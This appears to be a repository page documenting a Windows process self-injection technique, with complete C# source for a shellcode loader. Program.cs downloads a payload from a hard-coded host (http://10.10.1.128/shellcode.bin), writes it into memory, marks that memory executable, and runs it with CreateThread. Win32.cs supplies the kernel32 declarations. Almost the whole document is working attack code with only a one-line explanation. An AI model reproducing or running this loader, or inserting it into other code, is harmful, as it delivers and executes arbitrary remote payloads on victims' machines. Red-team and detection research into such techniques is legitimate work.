Files
2025-11-21 17:17:42 +01:00

3.5 KiB

CreateThread

Most simple injection technique, performs a self injection into the current running process. Shellcode is executed inline.

program.cs

using System;
using System.Net.Http;
using System.Runtime.InteropServices;
using System.Threading.Tasks;

namespace CreateThread
{
    internal class Program
    {
        static async Task Main(string[] args)
        {
            byte[] shellcode;
            var addr = "http://10.10.1.128/shellcode.bin";

            using (var client = new HttpClient())
            {
                shellcode = await client.GetByteArrayAsync(addr);
            }

            // allocate base addr as RW
            var baseAddr = Win32.VirtualAlloc(
                IntPtr.Zero,
                (uint)shellcode.Length,
                Win32.AllocationType.Commit | Win32.AllocationType.Reserve,
                Win32.MemoryProtection.ReadWrite);

            // copy shellcode into mem
            Marshal.Copy(shellcode, 0, baseAddr, shellcode.Length);

            // Flip mem protections from RW to RX with VirtualProtect. Dispose of the call with `out _`
            Win32.VirtualProtect(
                baseAddr,
                (uint)shellcode.Length,
                Win32.MemoryProtection.ExecuteRead,
                out _);

            // Call CreateThread
            var hThread = Win32.CreateThread(
                IntPtr.Zero,
                0,
                baseAddr,
                IntPtr.Zero,
                0,
                out _);

            // CreateThread is not a blocking call, so we wait on the thread indefinitely with WaitForSingleObject. This blocks for as long as the thread is running
            Win32.WaitForSingleObject(hThread, 0xFFFFFFFF);

        }
    }
}

Win32.cs

using System;
using System.Runtime.InteropServices;

namespace CreateThread
{
    internal class Win32
    {
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(
            IntPtr lpAddress,
            uint dwSize,
            AllocationType flAllocationType,
            MemoryProtection flProtect);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(
            IntPtr lpThreadAttributes,
            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr lpParameter,
            uint dwCreationFlags,
            out IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        public static extern bool VirtualProtect(
            IntPtr lpAddress,
            uint dwSize,
            MemoryProtection flNewProtect,
            out MemoryProtection lpflOldProtect);

        [DllImport("kernel32.dll")]
        public static extern uint WaitForSingleObject(
            IntPtr hHandle,
            uint dwMilliseconds);

        [Flags]
        public enum AllocationType
        {
            Commit = 0x1000,
            Reserve = 0x2000,
            Decommit = 0x4000,
            Release = 0x8000,
            Reset = 0x80000,
            Physical = 0x400000,
            TopDown = 0x100000,
            WriteWatch = 0x200000,
            LargePages = 0x20000000
        }

        [Flags]
        public enum MemoryProtection
        {
            Execute = 0x10,
            ExecuteRead = 0x20,
            ExecuteReadWrite = 0x40,
            ExecuteWriteCopy = 0x80,
            NoAccess = 0x01,
            ReadOnly = 0x02,
            ReadWrite = 0x04,
            WriteCopy = 0x08,
            GuardModifierflag = 0x100,
            NoCacheModifierflag = 0x200,
            WriteCombineModifierflag = 0x400
        }
    }
}